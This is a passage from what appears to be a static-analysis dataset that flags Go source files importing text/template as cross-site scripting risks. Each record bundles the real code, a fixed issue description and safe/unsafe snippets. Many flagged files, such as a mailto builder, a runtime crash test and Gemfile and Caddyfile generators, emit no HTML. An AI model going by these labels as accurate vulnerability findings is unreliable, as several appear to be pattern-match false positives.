0 {\n\t\tfor i := 0; i < len(variant); i++ {\n\t\t\tkey += variant[i]\n\t\t}\n\t}\n\treturn ns.getOrCreate(key, name, context)\n}\n\nfunc (ns *Namespace) getOrCreate(key, name string, context interface{}) (interface{}, error) {\n\n\tns.cachedPartials.RLock()\n\tp, ok := ns.cachedPartials.p[key]\n\tns.cachedPartials.RUnlock()\n\n\tif ok {\n\t\treturn p, nil\n\t}\n\n\tp, err := ns.Include(name, context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tns.cachedPartials.Lock()\n\tdefer ns.cachedPartials.Unlock()\n\t// Double-check.\n\tif p2, ok := ns.cachedPartials.p[key]; ok {\n\t\treturn p2, nil\n\t}\n\tns.cachedPartials.p[key] = p\n\n\treturn p, nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 23, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "9a844b3a2fd982f0e657397ff6629d4463d6d4207fe1f9825de8ffc0e4a6e9ea", "license": {"spdx": ["MIT"], "repo": "Team-RAVL/civic-qa", "path": "services/mailto/internal/mailto/mailto.go", "repo_head_hexsha": "cb6d819743d38b2486c0bdbe4a31ec081f3e851a", "stack_hexsha": "d2b7cbeabab101c3a4586e7e702ba4a1508e933e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 7, "entireCode": "package mailto\n\nimport (\n\t\"bytes\"\n\t\"net/url\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/team-ravl/civic-qa/services/mailto/internal/model\"\n)\n\n// TODO: replies via https://tools.ietf.org/html/rfc6068#section-6.1\n\nconst (\n\t// InvalidMailto is returned if a mailto cannot be generated\n\tInvalidMailto = \"INVALID MAILTO\"\n\n\t// mailto template\n\tmailtoTemplate = \"mailto:{{.Addresses}}{{.Params}}\"\n)\n\n// templateData is used by the template to construct\n// the actual tag\ntype templateData struct {\n\tAddresses string\n\tParams string\n}\n\n// Generate returns a mailto anchor tag for a given config\nfunc Generate(request model.Request) ([]byte, error) {\n\n\t// Parse the template\n\ttmpl, err := template.New(\"mailto\").Parse(mailtoTemplate)\n\tif err != nil {\n\t\treturn []byte(InvalidMailto), err\n\t}\n\n\tparams := buildParameters(request)\n\n\t// execute the template\n\tvar buf bytes.Buffer\n\terr = tmpl.Execute(&buf,\n\t\ttemplateData{\n\t\t\tAddresses: strings.Join(request.To, \",\"),\n\t\t\tParams: params,\n\t\t})\n\n\tif err != nil {\n\t\treturn []byte(InvalidMailto), err\n\t}\n\n\t// return the resulting mailto anchor tag bytes\n\treturn buf.Bytes(), nil\n}\n\n// buildParameters returns a string of mailto parameters\nfunc buildParameters(request model.Request) string {\n\tvar params []string\n\tif len(request.Cc) > 0 {\n\t\tparams = append(params, \"cc=\"+strings.Join(request.Cc, \",\"))\n\t}\n\tif len(request.Bcc) > 0 {\n\t\tparams = append(params, \"bcc=\"+strings.Join(request.Bcc, \",\"))\n\t}\n\tif request.Subject != \"\" {\n\t\tparams = append(params, \"subject=\"+url.PathEscape(request.Subject))\n\t}\n\tif request.Body != \"\" {\n\t\tparams = append(params, \"body=\"+url.PathEscape(request.Body))\n\t}\n\n\t// combine all parameters into one string\n\tparamStr := \"\"\n\tif len(params) > 0 {\n\t\tparamStr = \"?\" + strings.Join(params, \"&\")\n\t}\n\n\treturn paramStr\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "2a99081eb4c7531843f22c084c17d23c17e3813721087c099699c7fc3ec2b544", "license": {"spdx": ["BSD-3-Clause"], "repo": "Akaros/go-akaros", "path": "src/runtime/crash_test.go", "repo_head_hexsha": "85005d477eabbcf6d7df0ccfd4bfe4f2e56ae8a6", "stack_hexsha": "39589d30ee35287f7318d2a4582fed2596d3693e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 15, "entireCode": "// Copyright 2012 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage runtime_test\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\t\"text/template\"\n)\n\n// testEnv excludes GODEBUG from the environment\n// to prevent its output from breaking tests that\n// are trying to parse other command output.\nfunc testEnv(cmd *exec.Cmd) *exec.Cmd {\n\tif cmd.Env != nil {\n\t\tpanic(\"environment already set\")\n\t}\n\tfor _, env := range os.Environ() {\n\t\tif strings.HasPrefix(env, \"GODEBUG=\") {\n\t\t\tcontinue\n\t\t}\n\t\tcmd.Env = append(cmd.Env, env)\n\t}\n\treturn cmd\n}\n\nfunc executeTest(t *testing.T, templ string, data interface{}, extra ...string) string {\n\tswitch runtime.GOOS {\n\tcase \"android\", \"nacl\":\n\t\tt.Skipf(\"skipping on %s\", runtime.GOOS)\n\t}\n\tif runtime.GOOS == \"akaros\" {\n\t\tt.Skip(\"skipping on akaros\")\n\t}\n\n\tcheckStaleRuntime(t)\n\n\tst := template.Must(template.New(\"crashSource\").Parse(templ))\n\n\tdir, err := ioutil.TempDir(\"\", \"go-build\")\n\tif err != nil {\n\t\tt.Fatalf(\"failed to create temp directory: %v\", err)\n\t}\n\tdefer os.RemoveAll(dir)\n\n\tsrc := filepath.Join(dir, \"main.go\")\n\tf, err := os.Create(src)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to create file: %v\", err)\n\t}\n\terr = st.Execute(f, data)\n\tif err != nil {\n\t\tf.Close()\n\t\tt.Fatalf(\"failed to execute template: %v\", err)\n\t}\n\tif err := f.Close(); err != nil {\n\t\tt.Fatalf(\"failed to close file: %v\", err)\n\t}\n\n\tfor i := 0; i < len(extra); i += 2 {\n\t\tif err := ioutil.WriteFile(filepath.Join(dir, extra[i]), []byte(extra[i+1]), 0666); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}\n\n\tcmd := exec.Command(\"go\", \"build\", \"-o\", \"a.exe\")\n\tcmd.Dir = dir\n\tout, err := testEnv(cmd).CombinedOutput()\n\tif err != nil {\n\t\tt.Fatalf(\"building source: %v\\n%s\", err, out)\n\t}\n\n\tgot, _ := testEnv(exec.Command(filepath.Join(dir, \"a.exe\"))).CombinedOutput()\n\treturn string(got)\n}\n\nfunc checkStaleRuntime(t *testing.T) {\n\t// 'go run' uses the installed copy of runtime.a, which may be out of date.\n\tout, err := testEnv(exec.Command(\"go\", \"list\", \"-f\", \"{{.Stale}}\", \"runtime\")).CombinedOutput()\n\tif err != nil {\n\t\tt.Fatalf(\"failed to execute 'go list': %v\\n%v\", err, string(out))\n\t}\n\tif string(out) != \"false\\n\" {\n\t\tt.Fatalf(\"Stale runtime.a. Run 'go install runtime'.\")\n\t}\n}\n\nfunc testCrashHandler(t *testing.T, cgo bool) {\n\ttype crashTest struct {\n\t\tCgo bool\n\t}\n\toutput := executeTest(t, crashSource, &crashTest{Cgo: cgo})\n\twant := \"main: recovered done\\nnew-thread: recovered done\\nsecond-new-thread: recovered done\\nmain-again: recovered done\\n\"\n\tif output != want {\n\t\tt.Fatalf(\"output:\\n%s\\n\\nwanted:\\n%s\", output, want)\n\t}\n}\n\nfunc TestCrashHandler(t *testing.T) {\n\ttestCrashHandler(t, false)\n}\n\nfunc testDeadlock(t *testing.T, source string) {\n\toutput := executeTest(t, source, nil)\n\twant := \"fatal error: all goroutines are asleep - deadlock!\\n\"\n\tif !strings.HasPrefix(output, want) {\n\t\tt.Fatalf(\"output does not start with %q:\\n%s\", want, output)\n\t}\n}\n\nfunc TestSimpleDeadlock(t *testing.T) {\n\ttestDeadlock(t, simpleDeadlockSource)\n}\n\nfunc TestInitDeadlock(t *testing.T) {\n\ttestDeadlock(t, initDeadlockSource)\n}\n\nfunc TestLockedDeadlock(t *testing.T) {\n\ttestDeadlock(t, lockedDeadlockSource)\n}\n\nfunc TestLockedDeadlock2(t *testing.T) {\n\ttestDeadlock(t, lockedDeadlockSource2)\n}\n\nfunc TestGoexitDeadlock(t *testing.T) {\n\toutput := executeTest(t, goexitDeadlockSource, nil)\n\twant := \"no goroutines (main called runtime.Goexit) - deadlock!\"\n\tif !strings.Contains(output, want) {\n\t\tt.Fatalf(\"output:\\n%s\\n\\nwant output containing: %s\", output, want)\n\t}\n}\n\nfunc TestStackOverflow(t *testing.T) {\n\toutput := executeTest(t, stackOverflowSource, nil)\n\twant := \"runtime: goroutine stack exceeds 4194304-byte limit\\nfatal error: stack overflow\"\n\tif !strings.HasPrefix(output, want) {\n\t\tt.Fatalf(\"output does not start with %q:\\n%s\", want, output)\n\t}\n}\n\nfunc TestThreadExhaustion(t *testing.T) {\n\toutput := executeTest(t, threadExhaustionSource, nil)\n\twant := \"runtime: program exceeds 10-thread limit\\nfatal error: thread exhaustion\"\n\tif !strings.HasPrefix(output, want) {\n\t\tt.Fatalf(\"output does not start with %q:\\n%s\", want, output)\n\t}\n}\n\nfunc TestRecursivePanic(t *testing.T) {\n\toutput := executeTest(t, recursivePanicSource, nil)\n\twant := `wrap: bad\npanic: again\n\n`\n\tif !strings.HasPrefix(output, want) {\n\t\tt.Fatalf(\"output does not start with %q:\\n%s\", want, output)\n\t}\n\n}\n\nfunc TestGoexitCrash(t *testing.T) {\n\toutput := executeTest(t, goexitExitSource, nil)\n\twant := \"no goroutines (main called runtime.Goexit) - deadlock!\"\n\tif !strings.Contains(output, want) {\n\t\tt.Fatalf(\"output:\\n%s\\n\\nwant output containing: %s\", output, want)\n\t}\n}\n\nfunc TestGoexitDefer(t *testing.T) {\n\tc := make(chan struct{})\n\tgo func() {\n\t\tdefer func() {\n\t\t\tr := recover()\n\t\t\tif r != nil {\n\t\t\t\tt.Errorf(\"non-nil recover during Goexit\")\n\t\t\t}\n\t\t\tc <- struct{}{}\n\t\t}()\n\t\truntime.Goexit()\n\t}()\n\t// Note: if the defer fails to run, we will get a deadlock here\n\t<-c\n}\n\nfunc TestGoNil(t *testing.T) {\n\toutput := executeTest(t, goNilSource, nil)\n\twant := \"go of nil func value\"\n\tif !strings.Contains(output, want) {\n\t\tt.Fatalf(\"output:\\n%s\\n\\nwant output containing: %s\", output, want)\n\t}\n}\n\nfunc TestMainGoroutineId(t *testing.T) {\n\toutput := executeTest(t, mainGoroutineIdSource, nil)\n\twant := \"panic: test\\n\\ngoroutine 1 [running]:\\n\"\n\tif !strings.HasPrefix(output, want) {\n\t\tt.Fatalf(\"output does not start with %q:\\n%s\", want, output)\n\t}\n}\n\nfunc TestBreakpoint(t *testing.T) {\n\toutput := executeTest(t, breakpointSource, nil)\n\twant := \"runtime.Breakpoint()\"\n\tif !strings.Contains(output, want) {\n\t\tt.Fatalf(\"output:\\n%s\\n\\nwant output containing: %s\", output, want)\n\t}\n}\n\nconst crashSource = `\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n)\n\n{{if .Cgo}}\nimport \"C\"\n{{end}}\n\nfunc test(name string) {\n\tdefer func() {\n\t\tif x := recover(); x != nil {\n\t\t\tfmt.Printf(\" recovered\")\n\t\t}\n\t\tfmt.Printf(\" done\\n\")\n\t}()\n\tfmt.Printf(\"%s:\", name)\n\tvar s *string\n\t_ = *s\n\tfmt.Print(\"SHOULD NOT BE HERE\")\n}\n\nfunc testInNewThread(name string) {\n\tc := make(chan bool)\n\tgo func() {\n\t\truntime.LockOSThread()\n\t\ttest(name)\n\t\tc <- true\n\t}()\n\t<-c\n}\n\nfunc main() {\n\truntime.LockOSThread()\n\ttest(\"main\")\n\ttestInNewThread(\"new-thread\")\n\ttestInNewThread(\"second-new-thread\")\n\ttest(\"main-again\")\n}\n`\n\nconst simpleDeadlockSource = `\npackage main\nfunc main() {\n\tselect {}\n}\n`\n\nconst initDeadlockSource = `\npackage main\nfunc init() {\n\tselect {}\n}\nfunc main() {\n}\n`\n\nconst lockedDeadlockSource = `\npackage main\nimport \"runtime\"\nfunc main() {\n\truntime.LockOSThread()\n\tselect {}\n}\n`\n\nconst lockedDeadlockSource2 = `\npackage main\nimport (\n\t\"runtime\"\n\t\"time\"\n)\nfunc main() {\n\tgo func() {\n\t\truntime.LockOSThread()\n\t\tselect {}\n\t}()\n\ttime.Sleep(time.Millisecond)\n\tselect {}\n}\n`\n\nconst goexitDeadlockSource = `\npackage main\nimport (\n \"runtime\"\n)\n\nfunc F() {\n for i := 0; i < 10; i++ {\n }\n}\n\nfunc main() {\n go F()\n go F()\n runtime.Goexit()\n}\n`\n\nconst stackOverflowSource = `\npackage main\n\nimport \"runtime/debug\"\n\nfunc main() {\n\tdebug.SetMaxStack(4<<20)\n\tf(make([]byte, 10))\n}\n\nfunc f(x []byte) byte {\n\tvar buf [64<<10]byte\n\treturn x[0] + f(buf[:])\n}\n`\n\nconst threadExhaustionSource = `\npackage main\n\nimport (\n\t\"runtime\"\n\t\"runtime/debug\"\n)\n\nfunc main() {\n\tdebug.SetMaxThreads(10)\n\tc := make(chan int)\n\tfor i := 0; i < 100; i++ {\n\t\tgo func() {\n\t\t\truntime.LockOSThread()\n\t\t\tc <- 0\n\t\t\tselect{}\n\t\t}()\n\t\t<-c\n\t}\n}\n`\n\nconst recursivePanicSource = `\npackage main\n\nimport (\n\t\"fmt\"\n)\n\nfunc main() {\n\tfunc() {\n\t\tdefer func() {\n\t\t\tfmt.Println(recover())\n\t\t}()\n\t\tvar x [8192]byte\n\t\tfunc(x [8192]byte) {\n\t\t\tdefer func() {\n\t\t\t\tif err := recover(); err != nil {\n\t\t\t\t\tpanic(\"wrap: \" + err.(string))\n\t\t\t\t}\n\t\t\t}()\n\t\t\tpanic(\"bad\")\n\t\t}(x)\n\t}()\n\tpanic(\"again\")\n}\n`\n\nconst goexitExitSource = `\npackage main\n\nimport (\n\t\"runtime\"\n\t\"time\"\n)\n\nfunc main() {\n\tgo func() {\n\t\ttime.Sleep(time.Millisecond)\n\t}()\n\ti := 0\n\truntime.SetFinalizer(&i, func(p *int) {})\n\truntime.GC()\n\truntime.Goexit()\n}\n`\n\nconst goNilSource = `\npackage main\n\nfunc main() {\n\tdefer func() {\n\t\trecover()\n\t}()\n\tvar f func()\n\tgo f()\n\tselect{}\n}\n`\n\nconst mainGoroutineIdSource = `\npackage main\nfunc main() {\n\tpanic(\"test\")\n}\n`\n\nconst breakpointSource = `\npackage main\nimport \"runtime\"\nfunc main() {\n\truntime.Breakpoint()\n}\n`\n\nfunc TestGoexitInPanic(t *testing.T) {\n\t// see issue 8774: this code used to trigger an infinite recursion\n\toutput := executeTest(t, goexitInPanicSource, nil)\n\twant := \"fatal error: no goroutines (main called runtime.Goexit) - deadlock!\"\n\tif !strings.HasPrefix(output, want) {\n\t\tt.Fatalf(\"output does not start with %q:\\n%s\", want, output)\n\t}\n}\n\nconst goexitInPanicSource = `\npackage main\nimport \"runtime\"\nfunc main() {\n\tgo func() {\n\t\tdefer func() {\n\t\t\truntime.Goexit()\n\t\t}()\n\t\tpanic(\"hello\")\n\t}()\n\truntime.Goexit()\n}\n`\n\nfunc TestPanicAfterGoexit(t *testing.T) {\n\t// an uncaught panic should still work after goexit\n\toutput := executeTest(t, panicAfterGoexitSource, nil)\n\twant := \"panic: hello\"\n\tif !strings.HasPrefix(output, want) {\n\t\tt.Fatalf(\"output does not start with %q:\\n%s\", want, output)\n\t}\n}\n\nconst panicAfterGoexitSource = `\npackage main\nimport \"runtime\"\nfunc main() {\n\tdefer func() {\n\t\tpanic(\"hello\")\n\t}()\n\truntime.Goexit()\n}\n`\n\nfunc TestRecoveredPanicAfterGoexit(t *testing.T) {\n\toutput := executeTest(t, recoveredPanicAfterGoexitSource, nil)\n\twant := \"fatal error: no goroutines (main called runtime.Goexit) - deadlock!\"\n\tif !strings.HasPrefix(output, want) {\n\t\tt.Fatalf(\"output does not start with %q:\\n%s\", want, output)\n\t}\n}\n\nconst recoveredPanicAfterGoexitSource = `\npackage main\nimport \"runtime\"\nfunc main() {\n\tdefer func() {\n\t\tdefer func() {\n\t\t\tr := recover()\n\t\t\tif r == nil {\n\t\t\t\tpanic(\"bad recover\")\n\t\t\t}\n\t\t}()\n\t\tpanic(\"hello\")\n\t}()\n\truntime.Goexit()\n}\n`\n\nfunc TestRecoverBeforePanicAfterGoexit(t *testing.T) {\n\t// 1. defer a function that recovers\n\t// 2. defer a function that panics\n\t// 3. call goexit\n\t// Goexit should run the #2 defer. Its panic\n\t// should be caught by the #1 defer, and execution\n\t// should resume in the caller. Like the Goexit\n\t// never happened!\n\tdefer func() {\n\t\tr := recover()\n\t\tif r == nil {\n\t\t\tpanic(\"bad recover\")\n\t\t}\n\t}()\n\tdefer func() {\n\t\tpanic(\"hello\")\n\t}()\n\truntime.Goexit()\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 15, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "39ab9f0d22cf0dd4c48d40f4589a745543d4a27f78f72389fbfb059c008aab6d", "license": {"spdx": ["MIT"], "repo": "suchwerk/caddy-docker-proxy", "path": "plugin/generator/labels.go", "repo_head_hexsha": "482398373b496132d93910ac5da774183c34c9ec", "stack_hexsha": "8dff00f67e6347132b7fbf0cb21b71eaf220733b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package generator\n\nimport (\n\t\"strconv\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/suchwerk/caddy-docker-proxy/plugin/v2/caddyfile\"\n)\n\ntype targetsProvider func() ([]string, error)\n\nfunc labelsToCaddyfile(labels map[string]string, templateData interface{}, getTargets targetsProvider) (*caddyfile.Container, error) {\n\tfuncMap := template.FuncMap{\n\t\t\"upstreams\": func(options ...interface{}) (string, error) {\n\t\t\ttargets, err := getTargets()\n\t\t\ttransformed := []string{}\n\t\t\tfor _, target := range targets {\n\t\t\t\tfor _, param := range options {\n\t\t\t\t\tif protocol, isProtocol := param.(string); isProtocol {\n\t\t\t\t\t\ttarget = protocol + \"://\" + target\n\t\t\t\t\t} else if port, isPort := param.(int); isPort {\n\t\t\t\t\t\ttarget = target + \":\" + strconv.Itoa(port)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ttransformed = append(transformed, target)\n\t\t\t}\n\t\t\treturn strings.Join(transformed, \" \"), err\n\t\t},\n\t\t\"http\": func() string {\n\t\t\treturn \"http\"\n\t\t},\n\t\t\"https\": func() string {\n\t\t\treturn \"https\"\n\t\t},\n\t}\n\n\treturn caddyfile.FromLabels(labels, templateData, funcMap)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "e8db8ab76626d4f08b2f1a052a67086142360ba615720632959f9755ce7a7a46", "license": {"spdx": ["Apache-2.0"], "repo": "kwsorensen/kots", "path": "pkg/template/identity_context.go", "repo_head_hexsha": "8d97c83139aa7b17dd22bb53afc526b4883275b7", "stack_hexsha": "c4bfaab6286b8ce26d562df91bbc2bf529e52735", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 5, "entireCode": "package template\n\nimport (\n\t\"strconv\"\n\t\"text/template\"\n\n\t\"github.com/replicatedhq/kots/kotskinds/apis/kots/v1beta1\"\n\t\"github.com/replicatedhq/kots/pkg/crypto\"\n\tidentitytypes \"github.com/replicatedhq/kots/pkg/identity/types\"\n)\n\ntype identityCtx struct {\n\tidentityConfig *v1beta1.IdentityConfig\n\tappInfo *ApplicationInfo\n\tcipher *crypto.AESCipher\n}\n\nfunc newIdentityCtx(identityConfig *v1beta1.IdentityConfig, appInfo *ApplicationInfo, cipher *crypto.AESCipher) identityCtx {\n\treturn identityCtx{\n\t\tidentityConfig: identityConfig,\n\t\tappInfo: appInfo,\n\t\tcipher: cipher,\n\t}\n}\n\n// FuncMap represents the available functions in the identityCtx.\nfunc (ctx identityCtx) FuncMap() template.FuncMap {\n\treturn template.FuncMap{\n\t\t\"IdentityServiceEnabled\": ctx.identityServiceEnabled,\n\t\t\"IdentityServiceClientID\": ctx.identityServiceClientID,\n\t\t\"IdentityServiceClientSecret\": ctx.identityServiceClientSecret,\n\t\t\"IdentityServiceRoles\": ctx.identityServiceRoles,\n\t\t\"IdentityServiceName\": ctx.identityServiceName,\n\t\t\"IdentityServicePort\": ctx.identityServicePort,\n\t}\n}\n\nfunc (ctx identityCtx) identityServiceEnabled() bool {\n\tif ctx.identityConfig == nil {\n\t\treturn false\n\t}\n\treturn ctx.identityConfig.Spec.Enabled\n}\n\nfunc (ctx identityCtx) identityServiceClientID() string {\n\tif ctx.identityConfig == nil {\n\t\treturn \"\"\n\t}\n\treturn ctx.identityConfig.Spec.ClientID\n}\n\nfunc (ctx identityCtx) identityServiceClientSecret() (string, error) {\n\tif ctx.identityConfig == nil || ctx.cipher == nil {\n\t\treturn \"\", nil\n\t}\n\treturn ctx.identityConfig.Spec.ClientSecret.GetValue(*ctx.cipher)\n}\n\nfunc (ctx identityCtx) identityServiceRoles() map[string]interface{} {\n\tm := map[string]interface{}{}\n\n\tif ctx.identityConfig != nil {\n\t\tfor _, g := range ctx.identityConfig.Spec.Groups {\n\t\t\tm[g.ID] = g.RoleIDs\n\t\t}\n\t}\n\n\treturn m\n}\n\nfunc (ctx identityCtx) identityServiceName() string {\n\tif ctx.appInfo == nil {\n\t\treturn \"\"\n\t}\n\treturn identitytypes.ServiceName(ctx.appInfo.Slug)\n}\n\nfunc (ctx identityCtx) identityServicePort() string {\n\tif ctx.appInfo == nil {\n\t\treturn \"\"\n\t}\n\treturn strconv.Itoa(int(identitytypes.ServicePort()))\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "993b2357e6f8f4d93c0001b8f789c7a77a03bcd5d1b93ce8e36fbde9e01e64a0", "license": {"spdx": ["MIT"], "repo": "craigmj/deccgem", "path": "src/decc/Gems.go", "repo_head_hexsha": "263800885fcf47920c300aa9b8c2cdb79da8fc10", "stack_hexsha": "90bbd0ea910362f7623a2eee5dc4557022f9fb89", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 13, "entireCode": "package decc\n\nimport (\n\t// \"bufio\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\t// \"regexp\"\n\t\"strings\"\n\t\"text/template\"\n\n\t// \"lexer\"\n)\n\nvar _ = os.Stdout\nvar _ = exec.Command\n\nvar gemCmd = \"gem\"\n\nfunc SetGemCmd(cmd string) {\n\tgemCmd = cmd\n}\n\ntype Gem struct {\n\tName string\n\tVersion string\n\tLang string\n\tBinary string\n}\n\nfunc (g *Gem) String() string {\n\tdata, _ := json.Marshal(g)\n\treturn string(data)\n}\n\nfunc (g *Gem) EarlierThan(c *Gem) bool {\n\tif strings.HasPrefix(g.Version, \"3\") {\n\t\tif strings.HasPrefix(c.Version, \"3\") {\n\t\t\treturn g.Version < c.Version\n\t\t}\n\t\treturn true\n\t} else {\n\t\tif strings.HasPrefix(c.Version, \"3\") {\n\t\t\treturn false\n\t\t}\n\t\treturn g.Version < c.Version\n\t}\n}\n\nfunc GemLine(out chan *Gem) error {\n\treturn nil\n}\n\nfunc GemList() (string, error) {\n\tcmd := exec.Command(gemCmd, \"list\")\n\toutput, err := cmd.Output()\n\tif nil != err {\n\t\tfmt.Fprintln(os.Stderr, err.Error())\n\t\treturn \"\", err\n\t}\n\treturn string(output), nil\n}\n\nfunc GemLister() {\n\n\tgems, _ := GemList()\n\tfor g := range NewGemReadChan(strings.NewReader(gems)) {\n\t\tif nil != g.Err {\n\t\t\tfmt.Println(\"ERROR:\", g.Err)\n\t\t} else {\n\t\t\tfmt.Println(g.G)\n\t\t}\n\t}\n\n\t// lexer.DumpTokens(strings.NewReader(gems))\n}\n\nfunc Gems(out chan *Gem, filter func(*Gem) bool) error {\n\tdefer close(out)\n\tgems, _ := GemList()\n\t// \tgems = `\n\t// *** LOCAL GEMS ***\n\n\t// bundler (1.3.5)\n\t// decc_2050_model (3.5.1pre, 0.71.20140319pre)\n\t// ffi (1.8.1)\n\t// net-http-persistent (2.8)\n\t// rdoc (3.9.4)\n\t// thor (0.18.1)\n\t// `\n\n\tfor g := range NewGemReadChan(strings.NewReader(gems)) {\n\t\tif nil != g.Err {\n\t\t\tfmt.Fprintln(os.Stderr, \"ERROR: \", g.Err)\n\t\t} else {\n\t\t\tif filter(g.G) {\n\t\t\t\t// fmt.Println(\"Gems(..) about to send: \", g.G.Name)\n\t\t\t\tout <- g.G\n\t\t\t\t// fmt.Println(\"Gems(..) sent\")\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc DeccGems(out chan *Gem) {\n\tGems(out, func(g *Gem) bool {\n\t\treturn strings.HasPrefix(g.Name, \"decc_\")\n\t})\n}\n\nfunc TheDeccGem() *Gem {\n\tvar g *Gem\n\tC := make(chan *Gem)\n\tgo DeccGems(C)\n\tfor c := range C {\n\t\t// fmt.Println(\"TheDeccGem: have \", g, \" and received \", c)\n\t\tif nil == g {\n\t\t\tg = c\n\t\t} else {\n\t\t\tif g.EarlierThan(c) {\n\t\t\t\t// fmt.Println(g, \" EarlierThan \", c)\n\t\t\t\tg = c\n\t\t\t}\n\t\t}\n\t\t// fmt.Println(\"TDG: g=\", g)\n\t}\n\n\treturn g\n}\n\nfunc WriteGemFile(out io.Writer) {\n\tgem := TheDeccGem()\n\tif nil == gem {\n\t\tlog.Printf(\"Failed to get theDeccGem\")\n\t\tos.Exit(1)\n\t}\n\terr := gemfileTemplate.Execute(out, gem)\n\tif nil != err {\n\t\tlog.Printf(err.Error())\n\t\tos.Exit(1)\n\t}\n}\n\nvar gemfileTemplate = template.Must(template.New(\"gemfile\").Parse(`source 'http://rubygems.org'\n# Framework\ngem 'sinatra', '1.4.5'\n\n# Views\ngem 'json'\ngem 'sass'\ngem 'haml'\ngem 'uglifier'#, '>= 1.0.3'\ngem 'sprockets'\ngem 'coffee-script'\n\n# Model\ngem 'ffi'\ngem '{{.Name}}', '{{.Version}}'\n\n`))", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not 